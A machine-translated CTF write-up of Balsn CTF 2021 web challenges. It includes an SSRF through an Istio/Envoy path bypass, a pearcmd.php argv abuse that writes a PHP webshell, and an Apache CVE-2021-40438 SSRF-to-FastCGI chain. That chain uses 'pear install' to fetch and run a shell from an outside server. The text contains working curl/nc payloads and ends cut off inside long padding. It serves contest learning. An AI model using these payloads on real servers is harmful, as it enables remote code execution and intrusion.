Balsn CTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Participated in Balsn CTF 2021 with Goburin' and got third place. This time, I mainly solved web challenges, one misc challenge, and half a rev challenge.

  Scoreboard Screenshot

Web

Proxy

This challenge immediately tells you /query?site=[your website], so I started testing SSRF to see what I could access. Testing file:///proc/self/environ allowed me to read some information, revealing that the challenge was written in Python, used k8s, and had a hidden service at 10.44.3.240:39307.

Directly SSRFing 10.44.3.240:39307 failed, but I found the source code in file:///proc/self/cwd/main.py:

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/meow")
def meow():
    return 'meow?'


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site, timeout=5).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=8000)

It's very simple, just a Python urllib.request.urlopen SSRF. Accessing /meow directly results in RBAC: access denied, but SSRFing http://localhost:8000/meow works fine. The error message suggests something called Istio is involved. Initially, we were stuck here without knowing how to proceed.

Later, Allen found port 15000 from file:///proc/net/tcp, and accessing http://127.0.0.1:15000 revealed an Envoy Admin.

I then found http://127.0.0.1:15000/config_dump, which contained a suspicious section:

        "name": "secret-service-20a91e.default.svc.cluster.local:39307",
        "domains": [
         "secret-service-20a91e.default.svc.cluster.local",
         "secret-service-20a91e.default.svc.cluster.local:39307",
         "secret-service-20a91e",
         "secret-service-20a91e:39307",
         "secret-service-20a91e.default.svc.cluster",
         "secret-service-20a91e.default.svc.cluster:39307",
         "secret-service-20a91e.default.svc",
         "secret-service-20a91e.default.svc:39307",
         "secret-service-20a91e.default",
         "secret-service-20a91e.default:39307",
         "10.44.3.240",
         "10.44.3.240:39307"
        ],

SSRFing one of the URLs http://secret-service-20a91e:39307/ revealed it saying here is your flag: /flag, but SSRFing http://secret-service-20a91e:39307/flag resulted in an error. Testing showed that adding an extra / in the path bypassed the issue: http://secret-service-20a91e:39307//flag.

Flag: BALSN{default_istio_service_mesh_envoy_configurations}

Honestly, I have no idea what this challenge was about or why this solution worked ==

Official documentation: Istio - Understand path normalization in authorization policy

2linephp

<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

This challenge only has these two lines. phpinfo.php is likely a real phpinfo(); since it changes with the request.

The goal is that the URL with the query string cannot contain zip, p:, and s:, and you can LFI any file ending in .php, but the first 5 bytes must be <?php.

The challenge also mentions 0CTF 1linephp is too hard, and that challenge's writeup mainly used the zip extension and upload progress to LFI zip:///tmp/sess_mysessid#shell.php to get a shell.

However, this challenge's phpinfo.php shows that the zip extension is not installed. I was stuck here for a while.

After comparing it with 0CTF 1linephp, I noticed some clues:

<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

1linephp requires the start to be @<?php, but this challenge requires <?php. Testing showed that ?kaibro=index successfully caused it to recursively include until memory overflowed. ?kaibro=phpinfo also worked as expected.

It might seem like only index.php and phpinfo.php are useful, but this is actually a key part of the solution. You can run a local docker with the same version:

FROM php:7.4.11-apache  # same as 0CTF 1linephp

COPY src/ /var/www/html/

Then, inside the container, run grep -rnw '^<?php' to find many matching files under /usr/local/php, one of which is /usr/local/lib/php/pearcmd.php, which looks suspicious.

Searching online for pearcmd led to this article, which contains some important information:

If register_argc_argv is enabled (which it is by default in the docker version), it automatically converts the query string to argv:

<?php
var_dump($_SERVER['argv']);

// querystring: ?a+b
// $_SERVER['argv'][0] === 'a'
// $_SERVER['argv'][1] === 'b'

pearcmd.php is the CLI for PHP's PEAR package manager, which reads parameters from argv. When argv is remotely controllable, it opens up some exploitation opportunities.

The article introduces two methods: one to download a file from a remote URL to local:

pear install -R /tmp http://xxxxxxx/shell.php

The downloaded filename is determined by Content-Disposition.

Another method is to write directly from the parameters:

pear -c /tmp/peko.php -d man_dir=miko -s

The above command writes the following content to /tmp/peko.php:

#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:4:"miko";}

Although the first method seems simpler, the p: and s: restrictions likely prevent it (http://, https://), so I used the second method.

After writing, the file must start with <?php. This problem is similar to the one encountered in Orange's One Line PHP Challenge. The solution involves using php://filter/.

First, PHP's base64 decode automatically ignores non-base64 characters. Testing showed that the first character after base64 decoding is <, so I thought of adding > and using string.strip_tags to remove them.

A small issue is that it needs to pad appropriately to follow the base64 decode principle. I generated the payload like this:

from base64 import *

# file format:
"""
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:9:"PLACEHOLDER";}
"""

payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload)
print(b64encode(b'aaa>'+enc+b'<aa'))

This way, the first base64 decode results in <garbage>base64<garbage, and string.strip_tags turns it into base64, which decodes to <?php system($_GET["cmd"]);.

So, use the following method to write the shell to /tmp/maple3142.php:

http://2linephp1.balsnctf.com:50080/?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/maple3142.php+-d+man_dir=YWFhPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYQ+-s+

Then, execute commands to read the flag:

http://2linephp1.balsnctf.com:50080/?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/maple3142&cmd=/readflag

p: can be easily bypassed with %70:. The reason http://'s p: cannot be bypassed this way seems to be because argv and $_GET handle URL decoding differently.

Flag: BALSN{1linephp_1s_tooo_hard:(}

The intended solution seems to involve creating your own PEAR channel.

0linephp

This challenge has two containers, with Apache and PHP separated.

The PHP part is:

FROM php:7.4.24-fpm

RUN chmod 555 /var/www/html
RUN chown root:root /var/www/html

It has an index.php, which is indeed empty (0 lines).

The Apache config used is:

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so

DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

Suggestion: If testing locally, set ProxyErrorOverride to off.

The docker used is:

FROM httpd:2.4.48

RUN echo 'Include conf/extra/proxy-php.conf' >> /usr/local/apache2/conf/httpd.conf

docker-compose.yml:

version: '3.9'

services:
  apache:
    build: apache
    volumes:
      - ./apache/proxy-php.conf:/usr/local/apache2/conf/extra/proxy-php.conf:ro
    ports:
      - 80:80
  php:
    build: php
    volumes:
      - ./php/index.php:/var/www/html/index.php:ro

The first key to solving this challenge is Apache version 2.4.48. If you follow the news, you might know that Apache had some significant CVEs recently, such as path traversal. Checking reveals that CVE-2021-42013 only applies to 2.4.49 and 2.4.50, so it's not useful here.

However, further searching reveals CVE-2021-40438, a mod_proxy bug causing SSRF, applicable to 2.4.48.

Searching for more information, I found Building a POC for CVE-2021-40438, which explains how to use mod_proxy_http for SSRF, but lacks detailed instructions.

Another useful article is Apache mod_proxy SSRF (CVE-2021-40438) Analysis and Extension, which provides an excellent explanation. I recommend reading it thoroughly to understand this challenge better.

Although it mentions that mod_proxy_fcgi cannot be used due to URL encoding, the proxy_fcgi_canon function contains:

    if (apr_table_get(r->notes, "proxy-nocanon")) {
        path = url;   /* this is the raw path */
    }
    else {
        path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
                             r->proxyreq);
    }

And the last line of the Apache config is:

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

With nocanon, the above if is used, so URL encoding is bypassed, allowing SSRF. Understanding this CVE, you can generate this payload to SSRF fastcgi:

curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAA...AAA|fcgi://php:9000/var/www/html/index.php' -v

You might think of SSRFing fcgi://php:9000/flag to get the flag, but it results in a 403 error. Testing with /flag.php works, and further experiments show that fastcgi only accepts files ending in .php.

At this point, the situation is similar to 2linephp, SSRFing fastcgi to LFI .php files without requiring a specific start.

So, I used the pearcmd.php method from the previous challenge. However, the previous method cannot be directly applied because the Apache config restricts any query string containing php to 404:

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

I used another method, install -R /tmp remote_url, setting up a path on my server to download the file, with the header Content-Disposition: attachment; filename="shell.php". Then, download the shell to /tmp/tmp/pear/download/shell.php and execute the command in the second request.

First request to download the file:

Using echo because curl seems to process the URL:

echo -n $'GET /unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/usr/local/lib/php/pearcmd.php/?peko=miko&+install+-R+/tmp+http://YOUR_SERVER/ HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc 0linephp0.balsnctf.com 80

Second request to read the flag:

curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA